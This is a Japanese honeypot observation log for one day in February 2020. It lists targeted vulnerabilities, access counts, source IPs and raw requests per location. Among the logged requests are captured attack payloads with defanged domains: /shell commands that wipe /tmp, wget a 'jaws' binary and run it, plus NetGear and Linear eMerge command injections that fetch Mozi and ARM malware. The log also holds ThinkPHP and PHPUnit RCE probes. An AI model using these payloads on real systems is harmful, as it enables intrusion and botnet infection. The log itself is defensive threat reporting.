2020/02/10 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2020/02/10分です。

特徴

Location：JP

NetGear製品の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
Apache Tomcatへのスキャン行為
18[.]179[.]20[.]5に関する不正通信
Gh0st\xadのような動き
を確認しました。

Location：US

PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
Nmap Scripting Engineによるスキャン行為
ZmEuによるスキャン行為
UserAgentがHello, worldであるアクセス
Gh0st\xadのような動き
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://scan[.]casualaffinity[.]net/jaws;
sh /tmp/jaws

Location：UK

Linear eMerge E3製品の脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
UserAgentがHello, worldであるアクセス
Apache Solrへのスキャン行為
Gh0st\xadのような動き
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://scan[.]casualaffinity[.]net/jaws;
sh /tmp/jaws

Location：SG

ThinkPHPの脆弱性を狙うアクセス
Apache Solrへのスキャン行為
phpMyAdminへのスキャン行為
ZmEuによるスキャン行為
UserAgentがHello, worldであるアクセス
45[.]76[.]45[.]209に関する不正通信
123[.]125[.]114[.]144に関する不正通信
Gh0st\xadのような動き
を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;
sh /tmp/jaws

cd /tmp;
rm -rf *;
wget http://scan[.]casualaffinity[.]net/jaws;
sh /tmp/jaws

他

アクセス数推移

JP：総アクセス数：52 (前日比：-112)
US：総アクセス数：55 (前日比：+24)
UK：総アクセス数：25 (前日比：-109)
SG：総アクセス数：46 (前日比：-82)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location：JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
5	198.58.109.233	United States
1	222.186.19.221	China
1	223.155.182.64	China
34	44.225.84.206	United States
10	49.234.220.241	China
1	60.191.66.222	China

UserAgent一覧

件数	UserAgent
26	-
14	AWS Security Scanner
2	Go-http-client/1.1
1	Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
9	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)

リクエスト内容一覧

件数	Method	Request	Protocol
10	CONNECT	18[.]179[.]20[.]5:80	HTTP/1.0
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	GET	/elrekt.php	HTTP/1.1
1	GET	/html/public/index.php	HTTP/1.1
2	GET	http://169[.]254[.]169[.]254/	HTTP/1.1
2	GET	http://169[.]254[.]169[.]254/latest/dynamic/instance-identity/document	HTTP/1.1
2	GET	http://example[.]com/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/	HTTP/1.1
2	GET	http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	/index.php	HTTP/1.1
1	GET	/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1]=1	HTTP/1.1
4	GET	/latest/dynamic/instance-identity/document	HTTP/1.1
1	GET	/manager/html	HTTP/1.1
1	GET	/public/index.php	HTTP/1.1
1	GET	/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://192[.]168[.]1[.]1:8088/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1	HTTP/1.0
1	GET	/thinkphp/html/public/index.php	HTTP/1.1
1	GET	/TP/html/public/index.php	HTTP/1.1
1	GET	/TP/index.php	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	Gh0st\xad
1	HELP
1	POST	/index.php?s=captcha	HTTP/1.1
11	\x16\x03\x01
1		\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc\n
1		\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff\n

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
6	139.59.140.199	Singapore
1	147.30.34.55	Kazakhstan
5	178.128.255.43	Netherlands
2	222.186.19.221	China
8	47.92.55.104	China
5	5.101.0.209	Russia
4	82.221.105.6	Iceland
6	83.97.20.33	Romania
18	92.247.33.66	Bulgaria

UserAgent一覧

件数	UserAgent
18	-
2	Go-http-client/1.1
1	Hello, world
4	Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)
18	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
5	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
1	python-requests/2.10.0
6	ZmEu

リクエスト内容一覧

件数	Method	Request	Protocol
2	-
2	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	GET	/2phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	/database/index.php?lang=en	HTTP/1.1
1	GET	/evox/about	HTTP/1.1
1	GET	/favicon.ico	HTTP/1.1
1	GET	/HNAP1	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/myadmin/scripts/setup.php	HTTP/1.1
1	GET	/MyAdmin/scripts/setup.php	HTTP/1.1
1	GET	/mysql/admin/index.php?lang=en	HTTP/1.1
1	GET	/mysql/dbadmin/index.php?lang=en	HTTP/1.1
1	GET	/mysql/index.php?lang=en	HTTP/1.1
1	GET	/mysql/mysqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/mysql/sqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/nice%20ports%2C/Tri%6Eity.txt%2ebak	HTTP/1.0
1	GET	/nmaplowercheck1581233149	HTTP/1.1
1	GET	/phpmyadmin1/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin3/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin4/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/phpmyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/phpMyadmin/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin/scripts/setup.php	HTTP/1.1
1	GET	/phpMyAdmin/scripts/setup.php	HTTP/1.1
1	GET	/phpmy/index.php?lang=en	HTTP/1.1
1	GET	/phppma/index.php?lang=en	HTTP/1.1
1	GET	/pma/scripts/setup.php	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://scan[.]casualaffinity[.]net/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/w00tw00t.at.blackhats.romanian.anti-sec:)	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
1	GET	/wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	Gh0st\xad
1	HEAD	/	HTTP/1.0
1	HELP
1	OPTIONS	/	HTTP/1.0
1	OPTIONS	/	RTSP/1.0
1	POST	/sdk	HTTP/1.1
1	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	\x16\x03\x01
4	\x16\x03\x01\x02
1		\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc
1		\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
6	121.138.83.147	South Korea
5	193.57.40.38	Ukraine
1	194.61.24.10	Netherlands
1	222.186.19.221	China
6	5.101.0.209	Russia
1	5.251.143.201	Kazakhstan
5	66.228.50.196	United States

UserAgent一覧

件数	UserAgent
12	-
1	Go-http-client/1.1
1	Hello, world
11	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36

リクエスト内容一覧

件数	Method	Request	Protocol
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
2	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
6	GET	/card_scan_decoder.php?No=30&door=%60wget http://switchnets[.]net/hoho.arm7;
2	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://scan[.]casualaffinity[.]net/jaws;sh+/tmp/jaws	HTTP/1.1
2	GET	/solr/admin/info/system?wt=json	HTTP/1.1
2	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	Gh0st\xad
1	HELP
3	POST	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	HTTP/1.1
1	\x03
1	\x16\x03\x01
1		\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc
1		\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff

Location：SG

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	111.224.7.216	China
1	112.230.41.34	China
1	117.14.148.154	China
1	119.39.46.171	China
1	119.39.46.3	China
1	1.202.113.7	China
1	121.57.9.40	China
5	139.162.153.48	United States
6	139.59.140.199	Singapore
2	172.105.11.111	United States
1	182.138.137.222	China
3	190.48.100.154	Argentina
1	194.61.26.163	Netherlands
1	195.154.92.15	France
1	221.203.29.43	China
1	222.186.19.221	China
1	223.166.75.85	China
1	42.117.20.42	Vietnam
2	47.240.89.111	China
4	5.101.0.209	Russia
1	58.212.14.123	China
1	58.249.99.137	China
1	60.208.166.214	China
1	62.210.169.121	France
6	83.97.20.34	Romania

UserAgent一覧

件数	UserAgent
15	-
1	\
2	Go-http-client/1.1
4	Hello, world
1	Mozilla/5.01688858 Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.75 Safari/537.36
4	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
6	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
1	Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
1	Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
1	Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330
4	PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3
6	ZmEu

リクエスト内容一覧

件数	Method	Request	Protocol
2	-
1	CONNECT	cn[.]bing[.]com:443	HTTP/1.1
1	CONNECT	ip[.]ws[.]126[.]net:443	HTTP/1.1
1	CONNECT	www[.]baidu[.]com:443	HTTP/1.1
1	CONNECT	www[.]ipip[.]net:443	HTTP/1.1
1	CONNECT	www[.]voanews[.]com:443	HTTP/1.1
1	GET	/?a=fetch&content=die(@md5(HelloThinkCMF))	HTTP/1.1
1	GET	http://45[.]76[.]45[.]209/	HTTP/1.1
1	GET	http://boxun[.]com/	HTTP/1.1
1	GET	http://www[.]123cha[.]com/	HTTP/1.1
1	GET	http://www[.]epochtimes[.]com/	HTTP/1.1
1	GET	http://www[.]minghui[.]org/	HTTP/1.1
1	GET	http://www[.]rfa[.]org/english/	HTTP/1.1
1	GET	http://www[.]wujieliulan[.]com/	HTTP/1.1
1	GET	/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP	HTTP/1.1
1	GET	/myadmin/scripts/setup.php	HTTP/1.1
1	GET	/MyAdmin/scripts/setup.php	HTTP/1.1
1	GET	/nice%20ports%2C/Tri%6Eity.txt%2ebak	HTTP/1.0
1	GET	/phpmyadmin/scripts/setup.php	HTTP/1.1
1	GET	/phpMyAdmin/scripts/setup.php	HTTP/1.1
1	GET	/pma/scripts/setup.php	HTTP/1.1
3	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT[.]niggacumyafacenet[.]xyz/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/shell?cd+/tmp;rm+-rf+*;wget+http://scan[.]casualaffinity[.]net/jaws;sh+/tmp/jaws	HTTP/1.1
1	GET	/solr/admin/info/system?wt=json	HTTP/1.1
1	GET	/TP/public/index.php	HTTP/1.1
1	GET	/w00tw00t.at.blackhats.romanian.anti-sec:)	HTTP/1.1
1	GET	/?XDEBUG_SESSION_START=phpstorm	HTTP/1.1
1	Gh0st\xad
1	HEAD	/	HTTP/1.0
2	HEAD	/	HTTP/1.1
2	HEAD	http://123[.]125[.]114[.]144/	HTTP/1.1
1	HEAD	http://tool[.]chinaz[.]com/	HTTP/1.1
1	HEAD	http://www[.]speedtest[.]cn/	HTTP/1.1
1	HELP
1	OPTIONS	/	HTTP/1.0
1	OPTIONS	/	RTSP/1.0
2	\x03
1	\x16\x03\x01
1		\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc
1		\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff